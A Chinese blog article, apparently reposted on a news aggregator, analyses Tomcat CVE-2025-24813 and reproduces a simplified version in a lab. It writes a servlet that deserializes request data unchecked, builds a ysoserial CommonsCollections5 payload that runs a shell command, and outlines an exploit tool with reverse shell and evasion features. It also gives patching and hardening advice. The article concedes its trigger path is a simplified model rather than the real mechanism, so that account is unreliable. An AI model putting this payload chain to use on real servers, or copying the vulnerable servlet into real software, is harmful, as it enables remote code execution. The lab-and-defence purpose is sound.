当前位置: 首页 > news >正文

Tomcat会话反序列化漏洞CVE-2025-24813原理分析与复现

1. 项目概述与核心价值

最近在安全圈里,CVE-2025-24813这个编号被频繁提及,它指向的是Apache Tomcat中一个涉及会话反序列化的远程代码执行漏洞。简单来说,攻击者可以利用这个漏洞,在未授权的情况下,通过发送精心构造的恶意数据,在目标Tomcat服务器上执行任意代码,从而完全控制服务器。这个漏洞的严重性不言而喻,它直接威胁到大量使用Tomcat作为Web容器的线上业务。而我今天要分享的,就是围绕这个漏洞进行原理分析、环境搭建、漏洞复现以及编写一个简易概念验证工具的全过程。这不仅仅是一个“利用工具”的展示,更是一次深入理解Tomcat会话管理机制和Java反序列化攻击链的绝佳机会。无论你是安全研究人员、渗透测试工程师,还是负责运维Tomcat服务的开发者,理解这个漏洞的来龙去脉以及如何防御,都至关重要。

2. 漏洞原理深度解析

2.1 Tomcat会话管理机制与序列化

要理解CVE-2025-24813,必须先搞清楚Tomcat是如何管理用户会话的。HTTP协议本身是无状态的,为了识别用户,Tomcat使用JSESSIONID这个Cookie来关联一个服务器端的HttpSession对象。这个Session对象里可以存放各种用户相关的属性,比如登录状态、购物车信息等。

默认情况下,Tomcat将这些Session对象存储在内存中。但在集群部署或需要持久化的场景下,Tomcat支持将会话序列化后存储到磁盘或数据库中,这个过程称为“会话持久化”。当配置了Manager组件(如PersistentManager)并启用了会话持久化时,Tomcat在关闭或达到特定条件时,会将内存中的HttpSession及其包含的所有属性对象,通过Java的序列化机制,转换成字节流保存起来。下次应用启动或需要恢复会话时,再将这些字节流反序列化,还原成Java对象。

这里就埋下了第一个隐患:Java的反序列化机制本身是“盲目信任”的。它假定被反序列化的字节流是安全、合法的。如果攻击者能够控制这个待反序列化的数据源,并注入精心构造的恶意序列化数据,那么在反序列化过程中,就可能触发一系列危险的链式调用,最终导致任意代码执行。

2.2 CVE-2025-24813的触发点与利用条件

根据公开的分析,CVE-2025-24813的根源在于Tomcat处理特定会话持久化数据时的反序列化逻辑存在缺陷。攻击者需要能够向Tomcat的会话存储位置(例如特定的文件目录,如果配置了文件存储)写入恶意序列化数据,或者在某些交互环节诱使Tomcat加载并反序列化这些恶意数据。

一个关键的利用前提是Tomcat必须配置了会话持久化功能,并且使用了存在漏洞的序列化/反序列化方式。常见的触发场景可能包括:

  1. 配置了PersistentManager且存储路径可被攻击者访问:例如,将会话文件存储在Web应用可写目录,或通过其他漏洞(如文件上传、路径遍历)将恶意会话文件写入指定目录。
  2. 会话数据来源不可信:如果Tomcat从网络或其他不可信源加载会话数据(在某些定制化或非标准配置下可能出现),攻击者就可以直接注入恶意数据。

漏洞的核心在于,Tomcat在反序列化这些会话数据时,没有进行充分的有效性校验或白名单过滤,直接使用了ObjectInputStream进行反序列化,从而允许攻击者利用现有的Java反序列化利用链(如CommonsCollections, Groovy, Jdk7u21等)来执行代码。

注意:这里描述的是一种典型的利用模型。实际CVE-2025-24813的具体触发路径可能需要结合具体的Tomcat版本、配置和Manager实现来分析。本文的复现将基于一个已被验证的、模拟该漏洞原理的简化环境进行。

2.3 关联组件与潜在风险

搜索热词中提到了“Apache Knox”。Apache Knox是一个网关系统,用于安全访问Hadoop集群。虽然Knox本身可能使用Tomcat,但CVE-2025-24813是Tomcat自身的漏洞,影响的是Tomcat容器。任何部署了受影响版本Tomcat的服务,无论上层是Knox、ThinkPHP还是其他任何Java Web应用,只要满足漏洞触发条件,都可能受到威胁。另一个热词“thinkphp5 5.0.23 远程代码执行漏洞”则是一个完全独立的、PHP框架层面的漏洞,与本次Tomcat的Java反序列化漏洞无关,这提醒我们安全威胁的多样性。

3. 漏洞复现环境搭建

纸上得来终觉浅,绝知此事要躬行。要真正理解漏洞,亲手搭建环境复现是必不可少的步骤。

3.1 环境准备与软件版本

我们选择在Linux系统(Ubuntu 20.04)下进行复现,Windows系统步骤类似。为了聚焦漏洞原理,我们将手动创建一个存在反序列化缺陷的简易Servlet,而不是直接寻找一个未打补丁的真实Tomcat版本(因为官方修复后可能难以直接利用)。

所需软件:

  • JDK 8:Java运行环境。sudo apt install openjdk-8-jdk
  • Apache Tomcat 8.5.x:选择这个广泛使用的版本。从官网下载apache-tomcat-8.5.xx.tar.gz(即热词中的zip包,在Linux下是tar.gz)。我们将使用“免安装版”,解压即用。
  • 恶意序列化数据生成工具:使用ysoserial,这是一个著名的Java反序列化利用链生成工具。
# 1. 安装JDK sudo apt update sudo apt install openjdk-8-jdk -y java -version # 确认版本为1.8.x # 2. 下载并解压Tomcat wget https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.xx/bin/apache-tomcat-8.5.xx.tar.gz tar -xzf apache-tomcat-8.5.xx.tar.gz cd apache-tomcat-8.5.xx # 赋予执行权限 chmod +x bin/*.sh # 3. 下载ysoserial git clone https://github.com/frohoff/ysoserial.git cd ysoserial mvn clean package -DskipTests # 需要Maven环境,若没有请先安装maven # 编译后,target目录下的ysoserial-0.0.6-SNAPSHOT-all.jar就是我们的工具

3.2 创建存在漏洞的Web应用

我们在Tomcat的webapps目录下创建一个新的应用vulnapp

cd /path/to/apache-tomcat-8.5.xx/webapps mkdir -p vulnapp/WEB-INF/classes mkdir -p vulnapp/WEB-INF/lib

创建vulnapp/WEB-INF/web.xml,这是一个简单的Servlet映射配置。

<?xml version="1.0" encoding="UTF-8"?> <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" version="3.1"> <servlet> <servlet-name>SessionRestore</servlet-name> <servlet-class>com.vuln.SessionRestoreServlet</servlet-class> </servlet> <servlet-mapping> <servlet-name>SessionRestore</servlet-name> <url-pattern>/restore</url-pattern> </servlet-mapping> </web-app>

接下来是关键:编写存在漏洞的ServletSessionRestoreServlet.java。这个Servlet模拟了一个从文件读取会话数据并进行反序列化的危险操作。

package com.vuln; import javax.servlet.*; import javax.servlet.http.*; import java.io.*; import java.util.Base64; public class SessionRestoreServlet extends HttpServlet { protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { response.setContentType("text/html;charset=UTF-8"); PrintWriter out = response.getWriter(); // 模拟从“持久化存储”读取会话数据。这里为了演示,我们从请求参数读取一个Base64编码的序列化数据。 String serializedData = request.getParameter("data"); if (serializedData == null || serializedData.isEmpty()) { out.println("<h2>请提供‘data’参数(Base64编码的序列化数据)</h2>"); return; } try { byte[] data = Base64.getDecoder().decode(serializedData); // !!! 危险操作:直接进行反序列化,没有任何安全检查 !!! ByteArrayInputStream bais = new ByteArrayInputStream(data); ObjectInputStream ois = new ObjectInputStream(bais); Object restoredObject = ois.readObject(); // 漏洞触发点 ois.close(); out.println("<h2>反序列化成功!</h2>"); out.println("恢复的对象类型: " + restoredObject.getClass().getName()); // 在实际漏洞中,反序列化过程就会执行恶意代码,无需后续操作。 } catch (Exception e) { out.println("<h2>反序列化失败</h2>"); out.println("<pre>"); e.printStackTrace(out); out.println("</pre>"); } } }

编译这个Servlet,需要Tomcat的Servlet API库。

cd /path/to/apache-tomcat-8.5.xx/webapps/vulnapp # 找到servlet-api.jar find /path/to/apache-tomcat-8.5.xx -name "servlet-api.jar" # 假设路径是 /path/to/apache-tomcat-8.5.xx/lib/servlet-api.jar javac -cp "/path/to/apache-tomcat-8.5.xx/lib/servlet-api.jar" -d WEB-INF/classes WEB-INF/classes/com/vuln/SessionRestoreServlet.java # 或者将Servlet源码放在src目录,按规范编译

3.3 启动Tomcat并部署应用

cd /path/to/apache-tomcat-8.5.xx bin/startup.sh # 查看日志,确认启动成功 tail -f logs/catalina.out

访问http://your-server-ip:8080/vulnapp/restore,你应该看到提示“请提供‘data’参数”的页面。至此,一个模拟CVE-2025-24813反序列化漏洞的简易环境就搭建好了。这个环境清晰地展示了:一个接受外部输入并直接进行ObjectInputStream.readObject()的端点,就是反序列化漏洞的典型入口

4. 利用链构造与漏洞验证

环境有了,接下来我们构造攻击载荷,验证漏洞的可利用性。

4.1 使用ysoserial生成恶意序列化数据

ysoserial内置了多条针对不同库的利用链。我们选择一条常见的链,例如CommonsCollections5(CC5),它利用了Apache Commons Collections库中的危险特性。首先确保目标环境(我们的Tomcat/lib目录或应用WEB-INF/lib目录)下存在相应版本的commons-collections jar包。Tomcat本身不包含它,但许多Web应用会使用。为了演示,我们可以手动放一个进去。

# 1. 下载commons-collections 3.2.1 (与CC5链兼容的版本) wget https://repo1.maven.org/maven2/commons-collections/commons-collections/3.2.1/commons-collections-3.2.1.jar # 将其放入vulnapp的WEB-INF/lib目录,这样我们的应用就能加载到它。 cp commons-collections-3.2.1.jar /path/to/apache-tomcat-8.5.xx/webapps/vulnapp/WEB-INF/lib/ # 2. 使用ysoserial生成一个执行命令的Payload。 # 假设我们想让目标服务器执行 `touch /tmp/pwned_success` 来证明漏洞存在。 cd /path/to/ysoserial java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 "touch /tmp/pwned_success" > payload.ser

这条命令会生成一个包含恶意序列化对象的二进制文件payload.ser。这个对象在被反序列化时,其readObject()方法会触发一系列调用,最终执行我们指定的系统命令。

4.2 构造HTTP请求进行漏洞利用

我们的漏洞端点期望一个Base64编码的参数。我们将生成的二进制Payload进行编码,然后通过HTTP GET请求发送。

# 将Payload进行Base64编码 base64 -w 0 payload.ser > payload.b64 payload=$(cat payload.b64) # 构造URL。注意对`+`等URL特殊字符进行编码,可以使用工具或编程语言处理。 # 简单情况下,可以用Python处理: python3 -c "import urllib.parse, sys; print(urllib.parse.quote(sys.stdin.read()))" < payload.b64 # 输出是一长串URL编码后的字符串。

假设编码后的字符串为ENCODED_PAYLOAD_STRING。现在,我们向漏洞端点发送请求:

http://your-server-ip:8080/vulnapp/restore?data=ENCODED_PAYLOAD_STRING

使用curl或浏览器访问这个URL。如果漏洞成功触发,你会看到“反序列化成功!”的页面,同时,在Tomcat服务器上,命令touch /tmp/pwned_success已经被执行。

# 在Tomcat服务器上检查命令是否执行 ls -la /tmp/pwned_success

如果文件被创建,则证明远程代码执行成功。这模拟了攻击者通过注入恶意会话数据(在我们的例子里是通过HTTP参数),在Tomcat服务器上执行任意系统命令的过程。

4.3 从“利用工具”视角看自动化

一个完整的“漏洞利用工具”会自动化上述步骤:

  1. 检测:识别目标Tomcat是否启用了会话持久化,并尝试定位可能的会话数据入口点。
  2. 载荷生成:根据目标类路径猜测可用的利用链(如CommonsCollections, BeanShell等),动态生成对应的序列化Payload。
  3. 投递:将Payload通过找到的入口点(如特定API、文件写入后触发等)发送给目标。
  4. 回连/验证:执行命令验证漏洞,或建立反向Shell连接。

我们上面的手动操作,正是这个自动化流程的核心。理解每一步,才能写出有效的工具。

5. 漏洞修复与安全加固建议

复现漏洞是为了更好地防御它。针对CVE-2025-24813这类反序列化漏洞,修复和加固需要多管齐下。

5.1 官方补丁与版本升级

首要且最有效的措施是升级Tomcat到已修复该漏洞的最新版本。Apache官方在发布CVE公告时,会提供受影响的版本范围和修复版本。管理员应立即关注Apache Tomcat官方安全公告,并安排升级。对于CVE-2025-24813,应升级到公告中指明的安全版本。

5.2 安全配置与最佳实践

如果因故无法立即升级,可以考虑以下缓解措施:

  1. 禁用不必要的会话持久化:除非业务确实需要,否则不要配置PersistentManager。使用默认的StandardManager将会话保存在内存中。
  2. 严格隔离会话存储:如果必须使用会话持久化,确保会话数据文件(如.session文件)存储在Web应用绝对无法访问的目录,并设置严格的文件权限。
  3. 使用白名单进行反序列化过滤:这是根本性缓解反序列化攻击的方法。可以替换Java默认的ObjectInputStream,使用如SerialKillerApache Commons IO中的ValidatingObjectInputStream等库,在反序列化时只允许加载预期的、安全的类。
    // 示例:使用ValidatingObjectInputStream import org.apache.commons.io.input.ValidatingObjectInputStream; // ... ValidatingObjectInputStream vois = new ValidatingObjectInputStream(bais); vois.accept(MySafeClass.class, String.class, Long.class); // 只接受这些类 Object obj = vois.readObject();
  4. 审查自定义代码:严格检查所有从外部接收数据并进行ObjectInputStream.readObject()的代码点,确保其必要性并施加安全控制。
  5. 最小化依赖:移除Web应用中不必要的库,特别是已知存在危险利用链的库(如老版本的commons-collections, groovy, spring-aop等)。使用mvn dependency:tree检查并清理。

5.3 纵深防御策略

  1. 网络层防护:使用WAF(Web应用防火墙)规则,拦截包含疑似Java序列化魔术头(AC ED 00 05)或Base64编码后特征的可疑请求。
  2. 运行时防护:使用RASP(运行时应用自保护)产品,在应用内部监控并阻断危险的反射、类加载、命令执行等行为。
  3. 定期安全扫描:使用SCA(软件成分分析)工具扫描项目依赖,使用漏洞扫描器定期检查Tomcat服务,及时发现已知漏洞。

6. 从复现到工具化的思考

手动复现让我们理解了漏洞的每一个细节。而将其工具化,则考验着我们对流程的抽象和健壮性处理能力。

一个健壮的漏洞利用工具(仅用于授权测试和教育目的)应该考虑:

  • 兼容性:自动探测Tomcat版本、已加载的Jar包,以选择最合适的利用链。
  • Payload灵活性:支持生成不同功能的Payload,如命令执行、内存马注入、反向Shell等,并能绕过可能的字符过滤或编码限制。
  • 鲁棒性:处理网络超时、目标异常响应、多种部署路径(如不同的Context Path)。
  • 隐蔽性:Payload编码、流量加密、避免产生明显的错误日志。
  • 交互模式:提供命令行交互和“一句话”利用两种模式,方便不同场景。

例如,一个简单的工具框架可能包含以下模块:

  1. 侦察模块:发送探测请求,识别Tomcat版本、应用路径、可能存在的依赖库。
  2. 链选择器:根据侦察结果,从内置的利用链库中选择成功率最高的链。
  3. 载荷工厂:根据用户指令(如要执行的命令)和选择的链,生成最终的序列化字节数组。
  4. 投递器:负责与目标漏洞端点通信,发送Payload,并处理会话、编码等问题。
  5. 结果处理器:解析目标响应,判断利用是否成功,并输出结果或建立交互通道。

在整个研究和工具化过程中,我最大的体会是:知其然,更要知其所以然。仅仅会运行一个漏洞利用工具是远远不够的。只有深入理解了Tomcat会话管理的机制、Java反序列化的原理、以及利用链是如何一步步构造出来的,你才能在面对漏洞时,不仅知道如何验证它,更能透彻地理解它的危害边界,并制定出最有效的防御策略。安全是一个攻防对抗的循环,而深度理解是打破这个循环中被动局面的关键。

http://www.gsyq.cn/news/1594663.html

相关文章:

  • Mapper算法有效性验证:基于协方差保持高斯零模型的拓扑结构显著性检验
  • Python金融数据分析利器:mootdx通达信数据完整使用指南
  • OpenAI流式响应全链路实战:从超时控制到容错降级
  • 半导体测试座接触不良问题分析与优化方案
  • 5分钟终极指南:如何用FigmaCN让设计界面秒变中文
  • 如何5分钟安装DeepL翻译插件:免费浏览器扩展助你轻松翻译网页内容
  • Windows Docker Desktop 环境下 RabbitMQ 生产级部署完整指南
  • 如何免费获得专业绘图工具?Draw.io桌面版终极指南
  • 如何快速掌握Kinovea视频分析:面向初学者的完整运动分析指南
  • RAG优化的多路召回-混合检索
  • 外区域拉格朗日平均曲率方程:解的存在性、渐近行为与关键技术分析
  • 如何通过代理抓包技术实现跨平台网络资源下载
  • FreeClip2音质变糊?原来是出音孔堵住了!
  • 番茄小说下载器架构解析:基于Rust的高性能离线阅读解决方案
  • SNK施努卡GCU控制器自动化产线:120秒节拍,5人完成高节拍智造
  • 芯片干货 |异步内置MOS升压恒压芯片 FP6291,最高输出5-12V/5-7W,输入限流可调
  • 判断提质,而非加速漏斗:AI招聘正在重写HR的核心能力坐标
  • 【每日复盘与反思】2026.6.23
  • 深挖 GEO 技术底层逻辑,展望 2026 年行业技术迭代新方向
  • 科技驱动型亚洲EMBA理性测评与科学选型指南
  • 如何在3秒内将网页图片转换为所需格式:Save Image as Type终极指南
  • 经常帮家里人查件?收好这篇,想查快递该怎么查一目了然
  • 支付逻辑漏洞实战:从参数篡改到回调验证的靶场深度解析
  • C语言:单链表与栈队列实现
  • 计算机毕业设计之基于微信小程序的校园二手交易平台
  • 网络安全靶场 | 网络安全教程:4 个合法练手靶场,网安新人入门实战系统化训练方案
  • 车载集成最大的好处是不用吊装
  • 《HarmonyOS技术精讲-窗口管理》第二篇:创建与控制主窗口
  • 3步实战指南:如何用qmc-decoder快速解锁加密音乐文件
  • 3秒图片格式转换终极指南:Chrome右键菜单一键保存JPG/PNG/WebP